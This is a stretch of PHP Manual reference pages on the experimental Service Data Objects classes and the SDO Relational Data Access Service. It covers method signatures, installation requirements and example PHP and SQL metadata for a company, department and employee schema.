Insert a new element at a specified position in the list. All subsequent list items are moved up.

参数

value

The new value to be inserted. This can be either a primitive or an SDO_DataObject.

index

The position at which to insert the new element. If this argument is not specified then the new value will be appended.

返回值

None.

错误／异常

SDO_IndexOutOfBoundsException

Thrown if the list index is less than zero or greater than the size of the list.

SDO_InvalidConversionException

Thrown if the type of the new value does not match the type for the list (e.g. the type of the many-valued property that the list represents).

User Contributed Notes

There are no user contributed notes for this page.


Get the SDO_Model_Type which contains this property

  • ? SDO_List::insert
  • SDO_Model_Property::getDefault ?
  • PHP Manual
  • SDO 函数
  • Get the SDO_Model_Type which contains this property

SDO_Model_Property::getContainingType

(^)

SDO_Model_Property::getContainingType — Get the SDO_Model_Type which contains this property

说明

SDO_Model_Property::getContainingType ( void ) : SDO_Model_Type
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Returns the SDO_Model_Type which contains this property.

参数

None.

返回值

Returns the SDO_Model_Type which contains this property.

User Contributed Notes

There are no user contributed notes for this page.


Get the default value for the property

  • ? SDO_Model_Property::getContainingType
  • SDO_Model_Property::getName ?
  • PHP Manual
  • SDO 函数
  • Get the default value for the property

SDO_Model_Property::getDefault

(^)

SDO_Model_Property::getDefault — Get the default value for the property

说明

SDO_Model_Property::getDefault ( void ) : mixed
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Returns the default value for the property. Only primitive data type properties can have default values.

参数

None.

返回值

Returns the default value for the property.

User Contributed Notes

There are no user contributed notes for this page.


Get the name of the SDO_Model_Property

  • ? SDO_Model_Property::getDefault
  • SDO_Model_Property::getType ?
  • PHP Manual
  • SDO 函数
  • Get the name of the SDO_Model_Property

SDO_Model_Property::getName

(^)

SDO_Model_Property::getName — Get the name of the SDO_Model_Property

说明

SDO_Model_Property::getName ( void ) : string
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Returns the name of the SDO_Model_Property.

参数

None.

返回值

Returns the name of the SDO_Model_Property.

User Contributed Notes

There are no user contributed notes for this page.


Get the SDO_Model_Type of the property

  • ? SDO_Model_Property::getName
  • SDO_Model_Property::isContainment ?
  • PHP Manual
  • SDO 函数
  • Get the SDO_Model_Type of the property

SDO_Model_Property::getType

(^)

SDO_Model_Property::getType — Get the SDO_Model_Type of the property

说明

SDO_Model_Property::getType ( void ) : SDO_Model_Type
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Get the SDO_Model_Type of the property. The SDO_Model_Type describes the type information for the property, such as its type name, namespace URI, whether it is a primitive data type, and so on.

参数

None.

返回值

Returns the SDO_Model_Type describing the property's type information.

User Contributed Notes

There are no user contributed notes for this page.


Test to see if the property defines a containment relationship

  • ? SDO_Model_Property::getType
  • SDO_Model_Property::isMany ?
  • PHP Manual
  • SDO 函数
  • Test to see if the property defines a containment relationship

SDO_Model_Property::isContainment

(^)

SDO_Model_Property::isContainment — Test to see if the property defines a containment relationship

说明

SDO_Model_Property::isContainment ( void ) : bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Test to see if the property corresponds to a containment relationship. Returns TRUE if the property defines a containment relationship, or FALSE if it is reference.

参数

None.

返回值

Returns TRUE if the property defines a containment relationship, or FALSE if it is reference.

User Contributed Notes

There are no user contributed notes for this page.


Test to see if the property is many-valued

  • ? SDO_Model_Property::isContainment
  • SDO_Model_ReflectionDataObject::__construct ?
  • PHP Manual
  • SDO 函数
  • Test to see if the property is many-valued

SDO_Model_Property::isMany

(^)

SDO_Model_Property::isMany — Test to see if the property is many-valued

说明

SDO_Model_Property::isMany ( void ) : bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Test to see if the property is many-valued. Returns TRUE if this is a many-valued property, otherwise returns FALSE.

参数

None.

返回值

Returns TRUE if this is a many-valued property, otherwise returns FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Construct an SDO_Model_ReflectionDataObject

  • ? SDO_Model_Property::isMany
  • SDO_Model_ReflectionDataObject::export ?
  • PHP Manual
  • SDO 函数
  • Construct an SDO_Model_ReflectionDataObject

SDO_Model_ReflectionDataObject::__construct

(^)

SDO_Model_ReflectionDataObject::__construct — Construct an SDO_Model_ReflectionDataObject

说明

SDO_Model_ReflectionDataObject::__construct ( SDO_DataObject $data_object )
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Construct an SDO_Model_ReflectionDataObject to reflect on an SDO_DataObject. Reflecting on an SDO_DataObject gives access to information about its model. The model contains information such as the data object's type, and whether that type is sequenced (preserves ordering across properties) or open (each instance can have its model extended). The model also holds information about the data object's properties, any default values they may have, and so on.

参数

data_object

The SDO_DataObject being reflected upon.

返回值

None.

User Contributed Notes

There are no user contributed notes for this page.


Get a string describing the SDO_DataObject

  • ? SDO_Model_ReflectionDataObject::__construct
  • SDO_Model_ReflectionDataObject::getContainmentProperty ?
  • PHP Manual
  • SDO 函数
  • Get a string describing the SDO_DataObject

SDO_Model_ReflectionDataObject::export

(^)

SDO_Model_ReflectionDataObject::export — Get a string describing the SDO_DataObject

说明

SDO_Model_ReflectionDataObject::export ( SDO_Model_ReflectionDataObject $rdo [, bool $return ] ) : mixed
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Get a string describing the SDO_DataObject. The default behaviour is to print the output, but if TRUE is specified for return, it is returned as a string.

参数

rdo

An SDO_Model_ReflectionDataObject.

return

If TRUE, return the output as a string, otherwise print it.

返回值

Returns the output if TRUE is specified for return, otherwise NULL.

User Contributed Notes

There are no user contributed notes for this page.


Get the property which defines the containment relationship to the data object

  • ? SDO_Model_ReflectionDataObject::export
  • SDO_Model_ReflectionDataObject::getInstanceProperties ?
  • PHP Manual
  • SDO 函数
  • Get the property which defines the containment relationship to the data object

SDO_Model_ReflectionDataObject::getContainmentProperty

(^)

SDO_Model_ReflectionDataObject::getContainmentProperty — Get the property which defines the containment relationship to the data object

说明

SDO_Model_ReflectionDataObject::getContainmentProperty ( void ) : SDO_Model_Property
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Get the SDO_Model_Property that contains the SDO_DataObject. This method is used to navigate up to the parent's property which contains the data object which has been reflected upon.

参数

None.

返回值

Returns the container's SDO_Model_Property which references the SDO_DataObject, or NULL if it is a root SDO_DataObject.

User Contributed Notes

There are no user contributed notes for this page.


Get the instance properties of the SDO_DataObject

  • ? SDO_Model_ReflectionDataObject::getContainmentProperty
  • SDO_Model_ReflectionDataObject::getType ?
  • PHP Manual
  • SDO 函数
  • Get the instance properties of the SDO_DataObject

SDO_Model_ReflectionDataObject::getInstanceProperties

(^)

SDO_Model_ReflectionDataObject::getInstanceProperties — Get the instance properties of the SDO_DataObject

说明

SDO_Model_ReflectionDataObject::getInstanceProperties ( void ) : array
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Get the instance properties for the SDO_DataObject. The instance properties consist of all the properties defined on the data object's type, plus any instance properties from open content (if the data object is an open type).

参数

None.

返回值

An array of SDO_Model_Property objects.

User Contributed Notes

There are no user contributed notes for this page.


Get the SDO_Model_Type for the SDO_DataObject

  • ? SDO_Model_ReflectionDataObject::getInstanceProperties
  • SDO_Model_Type::getBaseType ?
  • PHP Manual
  • SDO 函数
  • Get the SDO_Model_Type for the SDO_DataObject

SDO_Model_ReflectionDataObject::getType

(^)

SDO_Model_ReflectionDataObject::getType — Get the SDO_Model_Type for the SDO_DataObject

说明

SDO_Model_ReflectionDataObject::getType ( void ) : SDO_Model_Type
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Returns the SDO_Model_Type for the SDO_DataObject. The SDO_Model_Type holds all the information about the data object's type, such as namespace URI, type name, whether it is a primitive data type, and so on.

参数

None.

返回值

Returns the SDO_Model_Type for the SDO_DataObject.

User Contributed Notes

There are no user contributed notes for this page.


Get the base type for this type

  • ? SDO_Model_ReflectionDataObject::getType
  • SDO_Model_Type::getName ?
  • PHP Manual
  • SDO 函数
  • Get the base type for this type

SDO_Model_Type::getBaseType

(^)

SDO_Model_Type::getBaseType — Get the base type for this type

说明

SDO_Model_Type::getBaseType ( void ) : SDO_Model_Type
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Get the base type for this type. Returns the SDO_Model_Type for the base type if this type inherits from another, otherwise returns NULL. An example of when base types occur is when a type defined in XML schema inherits from another type by using

<extension base="...">
.

参数

None.

返回值

Returns the SDO_Model_Type for the base type if this type inherits from another, otherwise returns NULL.

User Contributed Notes

There are no user contributed notes for this page.


Get the name of the type

  • ? SDO_Model_Type::getBaseType
  • SDO_Model_Type::getNamespaceURI ?
  • PHP Manual
  • SDO 函数
  • Get the name of the type

SDO_Model_Type::getName

(^)

SDO_Model_Type::getName — Get the name of the type

说明

SDO_Model_Type::getName ( void ) : string
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Returns the name of the type. The combination of type name and namespace URI is used to uniquely identify the type.

参数

None.

返回值

Returns the name of the type.

User Contributed Notes

There are no user contributed notes for this page.


Get the namespace URI of the type

  • ? SDO_Model_Type::getName
  • SDO_Model_Type::getProperties ?
  • PHP Manual
  • SDO 函数
  • Get the namespace URI of the type

SDO_Model_Type::getNamespaceURI

(^)

SDO_Model_Type::getNamespaceURI — Get the namespace URI of the type

说明

SDO_Model_Type::getNamespaceURI ( void ) : string
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Returns the namespace URI of the type. The combination of namespace URI and type name is used to uniquely identify the type.

参数

None.

返回值

Returns the namespace URI of the type.

User Contributed Notes

There are no user contributed notes for this page.


Get the SDO_Model_Property objects defined for the type

  • ? SDO_Model_Type::getNamespaceURI
  • SDO_Model_Type::getProperty ?
  • PHP Manual
  • SDO 函数
  • Get the SDO_Model_Property objects defined for the type

SDO_Model_Type::getProperties

(^)

SDO_Model_Type::getProperties — Get the SDO_Model_Property objects defined for the type

说明

SDO_Model_Type::getProperties ( void ) : array
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Get an array of SDO_Model_Property objects describing the properties defined for the SDO_Model_Type. Each SDO_Model_Property holds information such as the property name, default value, and so on.

参数

None.

返回值

Returns an array of SDO_Model_Property objects.

User Contributed Notes

There are no user contributed notes for this page.


Get an SDO_Model_Property of the type

  • ? SDO_Model_Type::getProperties
  • SDO_Model_Type::isAbstractType ?
  • PHP Manual
  • SDO 函数
  • Get an SDO_Model_Property of the type

SDO_Model_Type::getProperty

(^)

SDO_Model_Type::getProperty — Get an SDO_Model_Property of the type

说明

SDO_Model_Type::getProperty ( mixed $identifier ) : SDO_Model_Property
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Get an SDO_Model_Property of the type, identified by its property index or property name.

参数

identifier

The property index or property name.

返回值

Returns the SDO_Model_Property.

User Contributed Notes

There are no user contributed notes for this page.


Test to see if this SDO_Model_Type is an abstract data type

  • ? SDO_Model_Type::getProperty
  • SDO_Model_Type::isDataType ?
  • PHP Manual
  • SDO 函数
  • Test to see if this SDO_Model_Type is an abstract data type

SDO_Model_Type::isAbstractType

(^)

SDO_Model_Type::isAbstractType — Test to see if this SDO_Model_Type is an abstract data type

说明

SDO_Model_Type::isAbstractType ( void ) : bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Test to see if this SDO_Model_Type is an abstract data type. Returns TRUE if this type is abstract, that is, no SDO_DataObject of this type can be instantiated, though other types may inherit from it.

参数

None.

返回值

Returns TRUE if this type is an abstract data type, otherwise returns FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Test to see if this SDO_Model_Type is a primitive data type

  • ? SDO_Model_Type::isAbstractType
  • SDO_Model_Type::isInstance ?
  • PHP Manual
  • SDO 函数
  • Test to see if this SDO_Model_Type is a primitive data type

SDO_Model_Type::isDataType

(^)

SDO_Model_Type::isDataType — Test to see if this SDO_Model_Type is a primitive data type

说明

SDO_Model_Type::isDataType ( void ) : bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Test to see if this SDO_Model_Type is a primitive data type. Returns TRUE if this type is a primitive data type, otherwise returns FALSE.

参数

None.

返回值

Returns TRUE if this type is a primitive data type, otherwise returns FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Test for an SDO_DataObject being an instance of this SDO_Model_Type

  • ? SDO_Model_Type::isDataType
  • SDO_Model_Type::isOpenType ?
  • PHP Manual
  • SDO 函数
  • Test for an SDO_DataObject being an instance of this SDO_Model_Type

SDO_Model_Type::isInstance

(^)

SDO_Model_Type::isInstance — Test for an SDO_DataObject being an instance of this SDO_Model_Type

说明

SDO_Model_Type::isInstance ( SDO_DataObject $data_object ) : bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Test for an SDO_DataObject being an instance of this SDO_Model_Type. Returns TRUE if the SDO_DataObject provided is an instance of this SDO_Model_Type, or a derived type, otherwise returns FALSE.

参数

data_object

The SDO_DataObject to be tested.

返回值

Returns TRUE if the SDO_DataObject provided is an instance of this SDO_Model_Type, or a derived type, otherwise returns FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Test to see if this type is an open type

  • ? SDO_Model_Type::isInstance
  • SDO_Model_Type::isSequencedType ?
  • PHP Manual
  • SDO 函数
  • Test to see if this type is an open type

SDO_Model_Type::isOpenType

(^)

SDO_Model_Type::isOpenType — Test to see if this type is an open type

说明

SDO_Model_Type::isOpenType ( void ) : bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Test to see if this type is open. Returns TRUE if this type is open, otherwise returns FALSE. An SDO_DataObject whose type is open can have properties added to them which are not described by the type. This capability is used to support working with XML documents whose schema support open content, such as that defined by an

<xsd:any>
element.

参数

None.

返回值

Returns TRUE if this type is open, otherwise returns FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Test to see if this is a sequenced type

  • ? SDO_Model_Type::isOpenType
  • SDO_Sequence::getProperty ?
  • PHP Manual
  • SDO 函数
  • Test to see if this is a sequenced type

SDO_Model_Type::isSequencedType

(^)

SDO_Model_Type::isSequencedType — Test to see if this is a sequenced type

说明

SDO_Model_Type::isSequencedType ( void ) : bool
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Test to see if this is a sequenced type. Returns TRUE if this type is sequence, otherwise returns FALSE. Sequenced types can have the ordering across properties preserved and can contain unstructured text. For more information on sequenced types see the section on Working with Sequenced Data Objects.

参数

None.

返回值

Returns TRUE if this type is sequence, otherwise return FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Return the property for the specified sequence index

  • ? SDO_Model_Type::isSequencedType
  • SDO_Sequence::insert ?
  • PHP Manual
  • SDO 函数
  • Return the property for the specified sequence index

SDO_Sequence::getProperty

(^)

SDO_Sequence::getProperty — Return the property for the specified sequence index

说明

SDO_Sequence::getProperty ( int $sequence_index ) : SDO_Model_Property
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Return the property for the specified sequence index.

参数

sequence_index

The position of the element in the sequence.

返回值

An SDO_Model_Property. A return value of NULL means the sequence element does not belong to a property and must therefore be unstructured text.

错误／异常

SDO_IndexOutOfBoundsException

Thrown if the sequence index is less than zero or greater than the size of the sequence.

User Contributed Notes

There are no user contributed notes for this page.


Insert into a sequence

  • ? SDO_Sequence::getProperty
  • SDO_Sequence::move ?
  • PHP Manual
  • SDO 函数
  • Insert into a sequence

SDO_Sequence::insert

(^)

SDO_Sequence::insert — Insert into a sequence

说明

SDO_Sequence::insert ( mixed $value [, int $sequenceIndex [, mixed $propertyIdentifier ]] ) : void
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Insert a new element at a specified position in the sequence. All subsequent sequence items are moved up.

参数

value

The new value to be inserted. This can be either a primitive or an SDO_DataObject.

sequenceIndex

The position at which to insert the new element. Default is NULL, which results in the new value being appended to the sequence.

propertyIdentifier

Either a property index, a property name, or an SDO_Model_Property, used to identify a property in the sequence's corresponding SDO_DataObject. A value of NULL signifies unstructured text.

返回值

None.

错误／异常

SDO_IndexOutOfBoundsException

Thrown if the sequence index is less than zero or greater than the size of the sequence.

SDO_InvalidConversionException

Thrown if the type of the new value cannot be juggled to match the type for the specified data object property.

User Contributed Notes

There are no user contributed notes for this page.


Move an item to another sequence position

  • ? SDO_Sequence::insert
  • SDO-DAS-Relational ?
  • PHP Manual
  • SDO 函数
  • Move an item to another sequence position

SDO_Sequence::move

(^)

SDO_Sequence::move — Move an item to another sequence position

说明

SDO_Sequence::move ( int $toIndex, int $fromIndex ) : void
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Modify the position of the item in the sequence, without altering the value of the property in the SDO_DataObject.

参数

toIndex

The destination sequence index. If this index is less than zero or greater than the size of the sequence then the value is appended.

fromIndex

The source sequence index.

返回值

None.

错误／异常

SDO_IndexOutOfBoundsException

Thrown if the fromIndex sequence index is less than zero or greater than the size of the sequence.

User Contributed Notes

There are no user contributed notes for this page.


SDO Relational Data Access Service

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 范例
    • Creating, retrieving, updating and deleting data
    • Specifying the metadata
    • One-table examples
    • Two-table examples
    • Three-table example
  • Limitations
  • SDO-DAS-Relational 函数
    • SDO_DAS_Relational::applyChanges — Applies the changes made to a data graph back to the database
    • SDO_DAS_Relational::__construct — Creates an instance of a Relational Data Access Service
    • SDO_DAS_Relational::createRootDataObject — Returns the special root object in an otherwise empty data graph. Used when creating a data graph from scratch
    • SDO_DAS_Relational::executePreparedQuery — Executes an SQL query passed as a prepared statement, with a list of values to substitute for placeholders, and return the results as a normalised data graph
    • SDO_DAS_Relational::executeQuery — Executes a given SQL query against a relational database and returns the results as a normalised data graph

User Contributed Notes

There are no user contributed notes for this page.


简介

Warning

此扩展是实验性 的。 此扩展的表象，包括其函数名称以及其他此扩展的相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本扩展风险自担 。

In order to use the Relational Data Access Service for Service Data Objects, you will need to understand some of the concepts behind SDO: the data graph, the data object, the disconnected way of working, the change summary, XPath and property expressions, and so on. If you are not familiar with these ideas, you might want to look first at the section on SDO. In addition, the Relational DAS makes use of the PDO extension to isolate itself from specifics of different back-end relational databases. In order to use the Relational DAS you will need to be able to create and pass a PDO database connection; for this reason you might also want to take a look at the section on PDO.

The job of the Relational DAS is to move data between the application and a relational database. In order to do this it needs to be told the mapping between the database entities - tables, columns, primary keys and foreign keys - and the elements of the SDO model - types, properties, containment relationships and so on. You specify this information as metadata when you construct the Relational DAS.

Overview of Operation

  1. The first step is to call the Relational DAS's constructor, passing the metadata that defines the mapping between database and SDO model. There are examples of this below.

  2. The next step might be to call the executeQuery() or executePreparedQuery() methods on the Relational DAS, passing either a literal SQL statement for the DAS to prepare and execute, or a prepared statement with placeholders and a list of values to be inserted. You may also need to specify a small amount of metadata about the query itself, so that the Relational DAS knows exactly what columns will be returned from the database and in what order. You will also need to pass a PDO database connection.

    The return value from executeQuery() or executePreparedQuery() is a normalised data graph containing all the data from the result set. For a query that returns data obtained from a number of tables, this graph will contain a number of data objects, linked by SDO containment relationships. There may also be SDO non-containment references within the data.

    Once the query has been executed and the data graph constructed, there is no need for either that instance of the Relational DAS or the database connection. There are no locks held on the database. Both the Relational DAS and the PDO database connection can be garbage collected.

  3. Quite possibly the data in the data graph will go through a number of modifications. The data graph can be serialised into the PHP session and so may have a lifetime beyond just one client-server interaction. Data objects can be created and added to the graph, the data objects already in the graph can be deleted, and data objects in the graph can be modified.

  4. Finally, the changes made to the data graph can be applied back to the database using the applyChanges() method of the Relational DAS. For this, another instance of the Relational DAS must be constructed, using the same metadata, and another connection to the database obtained. The connection and the data graph are passed to applyChanges(). At this point the Relational DAS examines the change summary and generates the necessary INSERT, UPDATE and DELETE SQL statements to apply the changes. Any UPDATE and DELETE statements are qualified with the original values of the data so that should the data have changed in the database in the meantime this will be detected. Assuming no such collisions have occurred the changes will be committed to the database. The application can then continue to work with the data graph, make more changes and apply them, or can discard it.

There are other ways of working with the data in the database: it is possible to just create data objects and write them to the database without a preliminary call to executeQuery(), for example. This scenario and others are explored in the Examples section below.

User Contributed Notes

There are no user contributed notes for this page.


需求

The Relational DAS requires that the SDO extension be installed. The SDO extension requires a version of PHP 5.1, and the Relational DAS requires a recent version that contains an important fix for PDO. The most up-to-date information about required levels of PHP should be found in the changelog for the package on PECL. At the time of writing, though, the Relational DAS requires the most recent beta level of PHP 5.1, that is PHP 5.1.0.

The Relational DAS uses PDO to access the relational database, and so should run with a variety of different relational databases. At the time of writing it has been tested in the following configurations

  • MySQL 4.1.14, on Windows. The Relational DAS operates correctly with the php_pdo_mysql driver that comes with the pre-built binaries for PHP 5.1.0.

  • MySQL 4.1.13, on Linux. It is necessary to have the most up-to-date PDO driver for MySQL, which comes built in to PHP 5.1.0. It may be necessary to uninstall the usual driver that would have come from PECL using pear uninstall pdo_mysql. You will need to configure PHP with the --with-pdo-mysql option.

  • DB2 8.2 Personal Edition, on Windows. The Relational DAS operates correctly with the php_pdo_odbc driver that comes with the pre-built binaries for PHP 5.1.0.

  • DB2 8.2 Personal Developer's Edition, on Linux. The Developer's Edition is needed because it contains the include files needed when PHP is configured and built. You will need to configure PHP with the --with-pdo-odbc=ibm-db2 option.

The Relational DAS applies changes to the database within a user-delimited transaction: that is, it issues a call to PDO::beginTransaction() before beginning to apply changes, and PDO::commit() or PDO::rollback() on completion. Whichever database is chosen, the database and the PDO driver for the database must support these calls.

User Contributed Notes

There are no user contributed notes for this page.


安装

The installation instructions for all the SDO components are in the SDO install section of the SDO documentation.

In any case, the essential facts are that the Relational DAS is written in PHP and it should be placed somewhere on the PHP include_path.

Your application will of course need to include the Relational DAS with a statement like this:

<?php
require_once 'SDO/DAS/Relational.php';
?>

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

此扩展没有在 php.ini 中定义配置指令。

Tracing

You may be interested in seeing the SQL statements that are generated in order to apply changes back to the database. At the top of the SDO/DAS/Relational.php you will find a number of constants which control whether the process of constructing and executing the SQL statements is to be traced. Try setting DEBUG_EXECUTE_PLAN to TRUE to see the generated SQL statements.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

The Relational DAS introduces no predefined constants.

User Contributed Notes

There are no user contributed notes for this page.


范例

Table of Contents

  • Creating, retrieving, updating and deleting data
  • Specifying the metadata
  • One-table examples
  • Two-table examples
  • Three-table example

User Contributed Notes

There are no user contributed notes for this page.


Creating, retrieving, updating and deleting data

This section illustrates how the Relational DAS can be used to create, retrieve, update and delete data in a relational database. Many of the examples are illustrated with a three-table database that contains companies, departments within those companies, and employees that work in those departments. This example is used in a number of places within the SDO literature. See the examples section of the » Service Data Objects specification or the Examples section of the documentation for the SDO extension.

The Relational DAS is constructed with metadata that defines the relational database and how it should be mapped to SDO. The long section that follows describes this metadata and how to construct the Relational DAS. The examples that follow it all assume that this metadata is in an included php file.

The examples below and others can all be found in the Scenarios directory in the Relational DAS package.

The Relational DAS throws exceptions in the event that it finds errors in the metadata or errors when executing SQL statements against the database. For brevity the examples below all omit the use of try/catch blocks around the calls to the Relational DAS.

These examples all differ from the expected use of SDO in two important respects.

First, they show all interactions with the database completed within one script. In this respect these scenarios are not realistic but are chosen to illustrate just the use of the Relational DAS. It is expected that interactions with the database will be separated in time and the data graph serialized and deserialized into the PHP session one or more times as the application interacts with an end user.

Second, all queries executed against the database use hard-coded queries with no variables substituted. In this case it is safe to use the simple executeQuery() call, and this is what the examples illustrate. In practice, though, it is unlikely that the SQL statement is known entirely ahead of time. In order to allow variables to be safely substituted into the SQL queries, without running the risk of injecting SQL with unknown effects, it is safer to use the executePreparedQuery() which takes a prepared SQL statement containing placeholders and a list of values to be substituted.

User Contributed Notes

There are no user contributed notes for this page.


Specifying the metadata

This first long section describes in detail how the metadata describing the database and the required SDO model is supplied to the Relational DAS.

When the constructor for the Relational DAS is invoked, it needs to be passed several pieces of information. The bulk of the information, passed as an associative array in the first argument to the constructor, tells the Relational DAS what it needs to know about the relational database. It describes the names of the tables, columns, primary keys and foreign keys. It should be fairly easy to understand what is required, and once written it can be placed in a php file and included when needed. The remainder of the information, passed in the second and third arguments to the constructor, tells the Relational DAS what it needs to know about the relationships between objects and the shape of the data graph; it ultimately determines how the data from the database is to be normalized into a graph.

Database metadata

The first argument to the constructor describes the target relational database.

Each table is described by an associative array with up to four keys.

Key | Value
name | The name of the table.
columns | An array listing the names of the columns, in any order.
PK | The name of the column containing the primary key.
FK | An array with two entries, 'from' and 'to', which define a column containing a foreign key, and a table to which the foreign key points. If there are no foreign keys in the table then the 'FK' entry does not need to be specified. Only one foreign key can be specified. Only a foreign key pointing to the primary key of a table can be specified.

<?php
/*****************************************************************
* METADATA DEFINING THE DATABASE
******************************************************************/
$company_table = array (
  'name' => 'company',
  'columns' => array('id', 'name',  'employee_of_the_month'),
  'PK' => 'id',
  'FK' => array (
      'from' => 'employee_of_the_month',
      'to' => 'employee',
      ),
  );
$department_table = array (
  'name' => 'department',
  'columns' => array('id', 'name', 'location', 'number', 'co_id'),
  'PK' => 'id',
  'FK' => array (
      'from' => 'co_id',
      'to' => 'company',
      )
  );
$employee_table = array (
  'name' => 'employee',
  'columns' => array('id', 'name', 'SN', 'manager', 'dept_id'),
  'PK' => 'id',
  'FK' => array (
      'from' => 'dept_id',
      'to' => 'department',
      )
  );
$database_metadata = array($company_table, $department_table, $employee_table);
?>

This metadata corresponds to a relational database that might have been defined to MySQL as:

create table company (
 id integer auto_increment,
 name char(20),
 employee_of_the_month integer,
 primary key(id)
);
create table department (
 id integer auto_increment,
 name char(20),
 location char(10),
 number integer(3),
 co_id integer,
 primary key(id)
);
create table employee (
 id integer auto_increment,
 name char(20),
 SN char(4),
 manager tinyint(1),
 dept_id integer,
 primary key(id)
);

or to DB2 as:

create table company ( \
  id integer not null generated by default as identity,  \
  name varchar(20), \
  employee_of_the_month integer, \
  primary key(id) )
create table department ( \
  id integer not null generated by default as identity, \
  name varchar(20), \
  location varchar(10), \
  number integer, \
  co_id integer, \
  primary key(id) )
create table employee ( \
  id integer not null generated by default as identity, \
  name varchar(20), \
  SN char(4), \
  manager smallint, \
  dept_id integer, \
  primary key(id) )

Note that although in this example there are no foreign keys specified to the database and so the database is not expected to enforce referential integrity, the intention behind the co_id column on the department table and the dept_id column on the employee table is they should contain the primary key of their containing company or department record, respectively. So these two columns are acting as foreign keys.

There is a third foreign key in this example, that from the employee_of_the_month column of the company record to a single row of the employee table. Note the difference in intent between this foreign key and the other two. The employee_of_the_month column represents a single-valued relationship: there can be only one employee of the month for a given company. The co_id and dept_id columns represent multi-valued relationships: a company can contain many departments and a department can contain many employees. This distinction will become evident when the remainder of the metadata picks out the company-department and department-employee relationships as containment relationships.

There are a few simple rules to be followed when constructing the database metadata:

  • All tables must have primary keys, and the primary keys must be specified in the metadata. Without primary keys it is not possible to keep track of object identities. As you can see from the SQL statements that create the tables, primary keys can be auto-generated, that is, generated and assigned by the database when a record is inserted. In this case the auto-generated primary key is obtained from the database and inserted into the data object immediately after the row is inserted into the database.

  • It is not necessary to specify in the metadata all the columns that exist in the database, only those that will be used. For example, if the company table had another column that the application did not want to access with SDO, this need not be specified in the metadata. On the other hand it would have done no harm to specify it: if specified in the metadata but never retrieved, or assigned to by the application, then the unused column will not affect anything.

  • In the database metadata note that the foreign key definitions identify not the destination column in the table which is pointed to, but the table name itself. Strictly, the relational model permits the destination of a foreign key to be a non-primary key. Only foreign keys that point to a primary key are useful for constructing the SDO model, so the metadata specifies the table name. It is understood that the foreign key points to the primary key of the given table.

Given these rules, and given the SQL statements that define the database, the database metadata should be easy to construct.

What the Relational DAS does with the metadata

The Relational DAS uses the database metadata to form most of the SDO model. For each table in the database metadata, an SDO type is defined. Each column which can represent a primitive value (columns which are not defined as foreign keys) are added as properties to the SDO type.

All primitive properties are given a type of string in the SDO model, regardless of their SQL type. When writing values back to the database the Relational DAS will create SQL statements that treat the values as strings, and the database will convert them to the appropriate type.

Foreign keys are interpreted in one of two ways, depending on the metadata in the third argument to the constructor that defines the SDO containment relationships. A discussion of this is therefore deferred until the section on SDO containment relationships below.

Specifying the application root type

